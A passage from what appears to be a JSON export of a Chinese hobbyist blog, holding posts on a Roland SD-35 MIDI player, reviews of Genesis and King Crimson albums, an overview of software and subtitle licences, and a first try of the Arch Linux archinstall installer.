开关\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你们可以看到,这里除了MIDI接口,还有两对6.5mm接口。一对接收输入信号,一对向外输出信号。最左侧还有输入电平调节,分别是吉他,麦克风和线缆输入。可见,这个机器可以输入信号,然后和软盘音乐混合后输出。对于做Genesis那样的流行电音来说,还挺有用的呢。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\" loading=\"lazy\" alt=\"说明书上关于输入设备的演示\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e说明书上关于输入设备的演示\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e至于为啥我前面说当音源不行,但是情有可原。一方面,这个机器要录制MIDI的话,一般接的是键盘啥的。键盘我觉得,再怎么折腾,也不会超过三个频道吧,估计它的处理能力也就这样了。另外一个方面,说明书暗示,传入MIDI信号相比软盘播放,机器得处理更多的东西,所以我觉得,可能是算力不够+缓存被砍的原因。\u003c/p\u003e\n\u003cp\u003e(还有一方面,估计我买的MIDI线很垃圾。那家的评论有一些差评,不过由于我买了这个机器,存款接近告罄,只能在这方面省钱了:-P)\u003c/p\u003e\n\u003ch2 id=\"part-4我对这台机器的看法\"\u003ePart 4:我对这台机器的看法\u003c/h2\u003e\n\u003cp\u003e虽然我买这个机器的目的是为了当音源,而这方面,机器可谓是相当不合格。但是,这个机器的特点很鲜明,还有很多的可玩性。我可以用这个机器水做很多的演示视频呢。而且这个机器涉及到了软盘,我也在Linux下体验了格式化软盘,没有某些人说的那么离谱啊。\u003c/p\u003e\n\u003cp\u003e不过既然不能当音源,我还要攒一年的钱,买一个SC-88去:-P(卖溢价二手货的都给我下地狱吧)\u003c/p\u003e\n\u003ch2 id=\"part-5相关计划\"\u003ePart 5:相关计划\u003c/h2\u003e\n\u003cp\u003e根据之前的投票结果和我的个人意愿,下期MIDI演示视频,我要用《红魔乡》的音乐演示,经由软盘播放。然后是《毁灭战士II》,经由MIDI线。可能还会用《RoTT》和《Heretic》的部分音轨出一个bug演示视频。制作方面呢,我要改MIDI,录制,画封面啥的。所以各位耐心等着吧:-P\u003c/p\u003e\n\u003cp\u003e进度视我的课程难度和我陷入不合理竞争的深度而定:-(\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" alt=\"Featured image of post Genesis - A Trick of the Tail 听后感\"/\u003e\u003cp\u003e作为前Deep Purple粉丝,现在的Genesis粉丝,如果我要给别人推荐Genesis专辑的话,我会先推荐这张专辑。因为这张专辑的旋律性好,概念性没那么强,听着没有Sell和Lamb那样,又累又难以理解。而且这张专辑的封面也很有意思,很多的人对应着专辑里的歌曲。\u003c/p\u003e\n\u003ch2 id=\"关于封面\"\u003e关于封面\u003c/h2\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" loading=\"lazy\" alt=\"Copyright 1976 Hignosis \u0026amp; C. Elgie\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eCopyright 1976 Hignosis \u0026amp; C. Elgie\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e根据上网找到的内页,个人猜测:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e护士拿着灯:Entangled\u003c/li\u003e\n\u003cli\u003e猎人和下面的耗子:Sqounk\u003c/li\u003e\n\u003cli\u003e上面的月亮和下面的孩子们:Mad Man Moon\u003c/li\u003e\n\u003cli\u003e大盗和狡猾的绅士:Robbery, Assault and Battery\u003c/li\u003e\n\u003cli\u003e照镜子的巫婆:Ripples…\u003c/li\u003e\n\u003cli\u003e恶魔和指着他的人:A Trick of the Tail\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于歌曲\"\u003e关于歌曲\u003c/h2\u003e\n\u003cp\u003e这张专辑的旋律性很突出,尤其突出显示在Mad Man Moon和Entangled这两首歌中。\u003c/p\u003e\n\u003cp\u003eMad Man Moon中,Tony Banks模拟的笛声很快就能抓住我们的耳朵,而且十分婉转,基本贯穿了整首歌。虽然我没太注意歌词唱的是什么,但是这个歌曲能让我想象出一个不知为何,有一点伤心的人。Tony Banks的旋律一直是Genesis音乐在前卫摇滚时期的卖点。包括Trespass里的Vision of Angles,Lamb里的Carpet Crawl,后面Wind And Wuthering里的One for the Vine,and there were three里的Buring Ropes。不过流行时期的Genesis嘛,旋律真就没有什么特点了,只剩下力度和跳舞的动力了。\u003c/p\u003e\n\u003cp\u003eEntangled中,Steve Hackett的原声吉他弹得十分干净,十分纯洁。这应该是属于民歌的曲调,充满了西方童话的特色。同样地,这个曲调也是低回婉转的,比起那些十分重型的歌曲或是某种热门单曲(@ tictok神曲),记住这些旋律是十分享受的,而不是折磨的。Steve在Genesis里主要是承担着点缀音乐的作用,诸如Hogweed前面的快速点弦,Horizon是在上主菜前的一个插曲之类。虽然他自己的写的旋律很好,但是没人用啊,难怪他后来退队了。\u003c/p\u003e\n\u003cp\u003e说到力度,这张专辑给人的感觉很割裂。有些歌曲从头到尾都很有力,诸如Sqounk。而其他的歌曲大多十分轻松,尤其是Entangled。这点我觉得相比之前的专辑,有点不太好。Genesis前卫高峰时期的专辑都是很能把握歌曲的力度的,一首歌的力度变化是十分丰富的。比如Stagnation,前面很轻盈,中间加了点力度,后面又让人很放松,但是最后还是留有一定的力度。Cinema Show是由轻到重,逐渐加强的。然而这张专辑,大多数歌曲传递出来的力度都十分单一。尤其是Sqounk,力度变化基本上没有,而且十分急促,好像有人一直在跟你抱怨着什么,我是十分不喜欢的。在力度方面,Los Endos这个纯乐器独奏,十分多元化,个人认为是乐队通过这个独奏,告诉大家,我们的音乐依然是多元的。\u003c/p\u003e\n\u003ch2 id=\"关于内容\"\u003e关于内容\u003c/h2\u003e\n\u003cp\u003e至于专辑内容,我个人倒不是很注意,因为这张专辑的旋律性重于歌词。我除了Robbery, Assault and Battery和Ripples的内容看了一下之外,其他的没看。要不是歌曲的旋律告诉了我们(比如第一首,明显体现了乐队继续前进的决心),更多是我对看歌词不感兴趣。Robbery, Assault and Battery讲述了一个十分奇怪的故事,没太看懂歌词的我也能体会到其中的荒诞性,大致是一个大盗的胡乱自述,经常出现“老调重弹(Same old song)”这句词。而Ripples这首歌,借着水中的波纹,唱出了青春一去不反的伤感。(Marge: 你才20岁,担心啥呢:-P)歌词中的“A Thousands Ship”让我无端联想到Doors 里的The Crystal Ship,看出来女孩子心里变化的丰富(毕竟她们是不同的生物呢)。\u003c/p\u003e\n\u003ch2 id=\"关于历史地位\"\u003e关于历史地位\u003c/h2\u003e\n\u003cp\u003e这张专辑是Genesis的转折点,Genesis顺应时代的变化,精简掉歌曲中复杂的结构,将人们重视的旋律弄得十分突出。不过,他们仍然保留了很多的复杂,精巧的元素。这张专辑中,有内容上很有意思的,也有结构复杂的歌曲,也有他们继续前行的决心。下一张专辑中,则有上来就很抓耳的旋律,也有十多分钟长的器乐歌曲串烧,还有一首启发自猫和老鼠的歌曲。而在Hackett退出后,乐队有点离心,在过渡了两张专辑后,彻底转型为流行,那些歌嘛,我就不想说了。这张专辑是他们刚刚开始转型的专辑,前卫性很强,而由于他们做出的变化,让其更能为人所接受。所以,如果你们想了解前卫摇滚的话,可以先拿这张适应一下,适应后再开始你们的前卫之旅(建议拿 Yes 的 Tails of Topographic Ocans 来提升一下)。\u003c/p\u003e\n\u003cp\u003e最后,感谢南方翻译的前卫摇滚历史,最后一段的分析实际上在那个视频里面提到过。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=5\" target=\"_blank\" rel=\"noopener\"\u003eProg Archive上面的评论\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/28748-Genesis-A-Trick-Of-The-Tail\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Af4y1F79H\" target=\"_blank\" rel=\"noopener\"\u003e本人翻译的一个介绍本专辑的纪录片\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\u003e南方翻译纪录片的片段\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"彩蛋我画的ripples封面\"\u003e彩蛋:我画的Ripples封面\u003c/h2\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\" loading=\"lazy\" alt=\"右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果你了解东方的话,你很快就能反应过来这两个人的原型是红魔馆的两个主人。但我没有照搬吸血鬼的设定,因为我画的是人啊。还有,我觉得东方里的角色都可以拿过来,稍微修改一下设定,就能给每一首前卫歌曲画一张,这样,我们就能借着东方,宣传前卫摇滚啦。对了,我不太是东方的粉丝,目前真的只对东方里那些女孩子的个性和外观感兴趣……\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/INzBQdJWynZbLmR.jpg\" alt=\"Featured image of post 我的字幕授权协议(兼各种我知道的授权协议介绍)\"/\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e什么,字幕还有授权协议?那当然,要不我辛辛苦苦翻译的东西总有一天会被营销号拿走:-P\u003c/p\u003e\n\u003cp\u003e先推荐给字幕作者这篇文章,虽然我的翻译明显不是这样:-P\u003c/p\u003e\n\u003cp\u003e【经验分享】从事个人翻译的几点心得 @ 某科学的小姚同志\u003c/p\u003e\n\u003cp\u003e好啦,在贴出我的协议之前,先给大家介绍几种授权协议吧:\u003c/p\u003e\n\u003ch2 id=\"copyleft-类型的协议\"\u003eCopyLeft 类型的协议\u003c/h2\u003e\n\u003cp\u003e这类协议最大的特点是,自由是被强制的。也就是说,虽然该授权协议给予你很多的权利,但是你衍生作品的授权协议也得授权给用户那么多的权利。\u003c/p\u003e\n\u003cp\u003e对于字幕呢,如果想这么办的话,CC-BY(Attribution, 署名)-ShareAlike(相同方式共享)是一个相当好的选择。\u003c/p\u003e\n\u003cp\u003e举例:《雷神之锤》引擎(id Tech 2)的授权协议是GPL v2,一个CopyLeft类型的协议。也就是说,如果你没跟原作者id公司另行签订协议的话,你写的改进版《雷神之锤》引擎(英文叫source port)必须也得是GPL v2授权,以保证这个衍生作品是自由的。我电脑里装有vkquake改进引擎,就是GPL授权的。\u003c/p\u003e\n\u003cp\u003e个人评价:这很明显干涉到了开发者的自由,因为他不能将自己的想法按照自己的想法公布。但是,对于软件来说是件好事情,因为透明性,更多人可以加入,给软件添砖加瓦。而对于我的字幕来说,如果别人翻译视频或者引用的话,因为授权协议,就得违背自己的本意开放各种细节,也不太好吧。\u003c/p\u003e\n\u003ch2 id=\"copyright类型的开源协议\"\u003eCopyRight类型的开源协议\u003c/h2\u003e\n\u003cp\u003e这种协议呢,作者保留自己应该有的权利。不过作者开发给各位用户随意处置该软件的自由。\u003c/p\u003e\n\u003cp\u003e这种协议应该是被使用最多的开源协议了,比如MIT协议,只要将该协议文本随衍生作品分发即可。对于字幕,就是CC-BY了。\u003c/p\u003e\n\u003cp\u003e举例:3Blue1Brown的作者使用自己写的Manim库做视频,该库按照他的MIT协议授权。社区在他代码的基础上维护,搞了一个社区版,按照原版的MIT协议和社区版的MIT协议授权。\u003c/p\u003e\n\u003cp\u003e还有一个例子:github上driver1998(Bilibili上是初生之鸟)做的字幕是CC-BY授权,所以,如果我要给LGR发送他做的视频字幕的话,只要在文件里写上他的名字和CC-BY授权就行了。\u003c/p\u003e\n\u003cp\u003e个人评价:这种协议十分符合我心中的开源协议,我给你们随便用,别忘了提我名字就行之类。但是,对于某些耍流氓的,恐怕就不友好了,懂得都懂。对于字幕呢,如果你不像我那么在意某些事情的话,用这种类型的吧。\u003c/p\u003e\n\u003ch2 id=\"半开源协议\"\u003e半开源协议\u003c/h2\u003e\n\u003cp\u003e这种情况比较复杂:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e作者仅仅是放出来了代码,而没给协议。\u003c/li\u003e\n\u003cli\u003e作者写了自己的开源协议,但是限制比较多,视情况而定。\u003c/li\u003e\n\u003cli\u003e对于第一种情况,如果你要对修改后的代码有进一步动作的话,理论上来说必须联系原作者。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e举例:我打包的《东方毁灭战士》就是属于没有授权协议的游戏。默认由原作者Untitled保留他所写代码的所有权利,而贴图,萌妹子之类的呢,我就不知道了。\u003c/p\u003e\n\u003cp\u003e对于第二种情况,那就看吧。像Anti996协议这种,照办即可。要是诸如限制商业用途,必须喜欢Maggie Simpson等情况的话,在某种程度上也得联系原作者了。\u003c/p\u003e\n\u003cp\u003e举例:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e金源引擎是开源的,但是Valve的授权协议禁止未经允许的商用。\u003c/li\u003e\n\u003cli\u003eKen Sliverman 给自己的 BUILD 引擎写了一个授权,也是禁止未经允许的商用,而且还要求使用者尽量明智地自己解决阅读代码中遇到的问题,他可能没有时间一一回复。\u003c/li\u003e\n\u003cli\u003eHeretic和Hexen的代码开源的时候,授权是动视的EULA,导致开源社区根本没法在项目中使用。后来在社区的强烈要求下,代码的授权在2008年的时候改成了GPLv2。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e个人评价:如果你对有些事情有些看法的话,可以试试这种类型的。不过你得自己写一个,一般魔改MIT协议是一个省力的好办法。\u003c/p\u003e\n\u003cp\u003e我的字幕授权一开始是CC0+Anti996授权,后来我对之前遇到过的两次官方视频翻译组出现的一些问题(8bitguy天降机翻正义事件和Chub翻译组组长跑路事件)有点在意,所以自己写了一个。先耐下心,最后再给大家贴出来。\u003c/p\u003e\n\u003ch2 id=\"闭源协议\"\u003e闭源协议\u003c/h2\u003e\n\u003cp\u003e这是大家遇到最多的协议了,一般条款苛刻,而且十分倾向开发者的利益。站在文化的交流和自由的角度,我绝对不推荐任何人使用这种协议。不过你用了我也管不着,你的自由啊:-)\u003c/p\u003e\n\u003cp\u003e有一个特例是Everything,他的二进制文件是MIT授权,而原作者没有公布代码。\u003c/p\u003e\n\u003cp\u003e而字幕嘛……我觉得根本无法闭源啊,只要视频在,总能读出来的嘛。\u003c/p\u003e\n\u003ch2 id=\"公有领域\"\u003e公有领域\u003c/h2\u003e\n\u003cp\u003e这种东西呢,是作者放弃所有权利的产物。字幕方面,我是绝对不会推荐使用这个协议的。软件代码就看着办吧,我的作业代码就是公有领域的。\u003c/p\u003e\n\u003ch2 id=\"我的协议\"\u003e我的协议\u003c/h2\u003e\n\u003cp\u003e好了,该把我的协议贴出来了。去我网页看吧。\u003c/p\u003e\n\u003cp\u003e谢谢阅读。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/2UrIqVcRG3YiECJ.jpg\" alt=\"Featured image of post archinstall 初体验 (省流文字版)\"/\u003e\u003cp\u003e再编辑版注:鉴于该软件在我回顾的时候,已经有所改变,故这里不放出所有贴图。各位想了解的话,看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Archinstall\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e继2012年Arch Linux弃用了安装器之后,在今年的4月1日,官方发布了全新的安装器,不过仍在实验阶段。今天我来体验一下。视频版在此,不建议不开倍速观看:\u003cbr/\u003e\n\n\n\n\n\n\n \n\n\n\u003c/p\u003e\u003cdiv class=\"video-wrapper\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026amp;bvid=BV1GA41157XK\" scrolling=\"no\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\n \u003c/iframe\u003e\n\u003c/div\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e步骤\u003c/h2\u003e\n\u003cp\u003e首先,搞到一个2021-04-01及之后版本的Arch Linux安装镜像,启动后在命令行下输入\u0026#34;archinstall\u0026#34;命令即可运行该安装程序。\u003cbr/\u003e\n首先出现的是键盘布局选择界面,这里在20(UK)和21(US)之间选择,UK布局较US多了一些法文字母,这样就可以打出café, coup d’etat这样的在英语中使用的法文词汇了。\u003cbr/\u003e\n之后我们可以选择从哪里的服务器下载软件包,较传统的安装方式,这个可以说是方便了不少。原来的安装方式是执行个测速工具,或是直接修改mirrorlist。\u003cbr/\u003e\n然后可以选择安装进的硬盘,还能选择是否覆盖安装等,不过没有分区工具选项,只能使用一个默认的分区方案,分区为/boot和根目录(该工具仅支持UEFI):-\\\u003cbr/\u003e\n选择硬盘后,选择分区文件系统,除了ext4外我一无所知。这里有一个给磁盘加密的选项,挺好的。Houge_Langley@Bilibili 做了几期视频介绍,链接附下。\u003cbr/\u003e\n分区配置完毕后,这里设置电脑名称,超级用户密码,添加用户。这里有两个亮点:提示不设置超级用户密码的话,会禁用超级管理员用户(虽然Linux都这样,但在这里提示也是件好事);还有赋予新用户超级管理权限(比visudo好用多了)。\u003cbr/\u003e\n安装工具新提供了安装桌面环境,显卡驱动等选项,目前没有xfce,mate,lxde等:-| 至于为啥没有gnome-wayland,gnome默认为wayland。\u003cbr/\u003e\n对了,archinstall是一个框架,任何会用python的人都可以用它写自己的安装脚本。\u003cbr/\u003e\n我们还可以添加其他的安装包,这里我安装了两个Virtualbox客户机的模块。\u003cbr/\u003e\n然后程序给出了一个总结,总觉得应该写成一个让人好明白的东西,而不是这个类似bash的配置文件。注意没有引导程序选择,因为只能选择systemd-boot,侧面体现其仍在开发。\u003cbr/\u003e\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\" loading=\"lazy\" alt=\"最后总结页面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最后总结页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n最后重启后,根据我选择的GNOME环境,程序安装并配置好了,不过VBOX增强工具没有激活,需要在上述安装完成后arch-chroot一下。\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"小结\"\u003e小结\u003c/h2\u003e\n\u003cp\u003e这个工具目前处于一个鸡肋的状态。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个工具比较不透明,我不知道选择某个选项后会出现什么结果。执行时默认也没有比较详细的信息。\u003c/li\u003e\n\u003cli\u003e他十分不灵活,选项就那几个,我只能限制在他给的选项方面选择,而不能自己决定一些东西,尤其是分区方面。\u003c/li\u003e\n\u003cli\u003e要想有自己的需求的话,安装完有些东西还得去arch-chroot输命令,我既然要输入命令的话,为啥不从头到尾都在输命令呢:-\\\u003c/li\u003e\n\u003cli\u003e对于小白的话,根据官方安装指南安装的话,至少能对Linux系统某些基本的东西(诸如分区,网络配置,软件管理等)有一定的了解,而这个东西我觉得不太能像安装指南一样起到这样的作用吧。\u003c/li\u003e\n\u003cli\u003e当然,这个安装程序可以自己写python脚本来配置。对于有定制需求的人来说,是件好事。但对于我这种有需求,但是技术不到位的人来说,就不太好了,还是走官方流程吧。\u003c/li\u003e\n\u003cli\u003e对于只是拿这个装13的人来说,只要英文过关的话,还挺方便的呢(bushi\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当然,官方也在积极改进这个软件,希望将来能够更加好用吧。也希望成熟的那一天,纯输命令的安装方式还能存在。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1BZ4y1G7ie\" target=\"_blank\" rel=\"noopener\"\u003eHouge_Langley 采访 felixonmars\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1s5411N7qN\" target=\"_blank\" rel=\"noopener\"\u003eHouge_Langley 在 ZFS 上面装 Arch Linux\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1X7411K7fo\" target=\"_blank\" rel=\"noopener\"\u003e老莱给大家介绍Linux的十大优越之处!\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/CZijR4n5OoP9rtL.jpg\" alt=\"Featured image of post King Crimson - Islands 听后感\"/\u003e\u003cp\u003e在1969年King Crimson发表了富有创造性的首专之后,由于各乐队成员间之间创作理念的不同,乐队分崩离析。在短短两年内产生了三张不同风格的专辑。其中第二张In the Wake of Posidon与首专过于相像,虽然好听,但是缺少创意;第三张Lizard难以让我接受,主要是其中Peter Sinfield营造的轻浮气息。而今天我要给大家介绍的第四张专辑,Island,虽然实验性是这几张中最差的,概念性也不怎么好,但是可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e这张专辑仅有的实验性部分,就是吹奏乐器的大部分使用,虽然在前一张专辑中已经这样了,但是鉴于上一专的轻浮和乐队成员间的合作不愉快,我觉得效果不如这个好。这点尤其在The Letters中明显体现了出来。在The Letters中,在情人给妻子写下了毒舌信后,上来的萨克斯沉重有力,与前面平静的声音形成了鲜明的对比,体现了情人收到信后沉重无比的心。之后的萨克斯演奏逐渐由混乱到平静和坚定,体现了妻子的伤心难受和之后的坚强面对。在这首歌中,萨克斯的吹奏对这首歌气氛的渲染有十分明显的影响。而在其他歌曲中,吹奏乐器更是音乐中不可或缺的一部分,无论是Song of Gulls中悠扬的长笛,Sailor’s Tail中萨克斯代表着大风,还是Islands中长号的尾奏,都让我印象深刻。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\" loading=\"lazy\" alt=\"最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e当然,除了我上面说到的,Sailor’s Tail精妙的结构和Song of Gulls的古典化和弦之外,我在这张专辑中很难找到其他的实验性特点了,这对于一张前卫摇滚专辑而言,是不合格的。第一首Formentera Lady就是两个贝斯音符的重复为底,再点缀些令人放松的乐器。而Ladies of the Road基本上就是词作者Peter Sinfield泡妞体验的综合,再加上Robert Fripp和弦,然后直接塞给你了,我是真不喜欢。最后的压轴曲,Island,基本上就是主旋律用各种乐器重复演奏,听多了容易审美疲劳。相比较而言,Lizard虽然我十分讨厌,但不得不承认,单凭最后一首23分钟的史诗,它的实验性也比这张强。\u003c/p\u003e\n\u003cp\u003e说到Robert Fripp,我觉得他这张专辑有点不在状态。首先是将自己之前写的歌曲和弦改编一下就用了。举例来说,Song of the Gulls改编自Robert Fripp于1968写的Suite No.1,那时他还在Giles, Giles \u0026amp; Fripp里面打杂手。然后就是Sailor’s Tail结尾的扫弦,因为他当时巡演累坏了,实在是想不出该弹啥了。还有就是与乐队真正的领头人Peter Sinfield在创作上的矛盾,导致他基本不和其他乐队成员来往了,最后一通电话,解散了乐队。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\" loading=\"lazy\" alt=\"还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e在这张专辑中,我还要说出一点我很不理解的事情,就是这张专辑整体的概念设计。上一张专辑主要是描述英国资产革命期间的保皇派领袖Prince Rupert的英勇战斗。而这回话锋一转,我们来到了温暖的热带群岛,远处的帆船经过与风暴的搏斗后,疲惫地停落在此。夕阳西下,海鸥翱翔,我们在海浪的拍打声中逐渐入眠。这张专辑的概念,要我说,也太不前卫了吧。首专和二专的主题是反战和对现代社会的反思,三专的主题是中世纪和冒险,都体现了词作者Peter Sinfield的家国情怀和历史底蕴。难道在反战运动结束以后,Sinfield去某个热带岛屿度个假之后,整个人就散漫下来了?但不得不说,就这种烂大街的主题,经由乐队的合力协作,再加上仅有的一点实验性,听感在我看来,是最好的。也是我觉得,最能让普罗大众接受的一张King Crimson专辑了吧。所以我说,这张专辑的可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e总体而言,虽然这张专辑实验性不强,概念上又很简单,但是我还是很喜欢这张专辑的。浪漫,轻松,又很好理解。对于现在处于加速过度社会的我们而言,也许这张慢节奏的专辑能我们在短短的44分钟内来个海南一周游,好好放松一下。\u003c/p\u003e\n\u003cp\u003e说到海南一周游,还有一件事。我不想开学啊!!!\u003c/p\u003e\n\u003cp\u003e推荐链接:\u003cbr/\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1906\" target=\"_blank\" rel=\"noopener\"\u003eProg Archive上的评论\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/436-King-Crimson-Islands\" target=\"_blank\" rel=\"noopener\"\u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\u003e南方翻译的纪录片片段\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/OxMmK6yZD9vE2Xu.png\" alt=\"Featured image of post 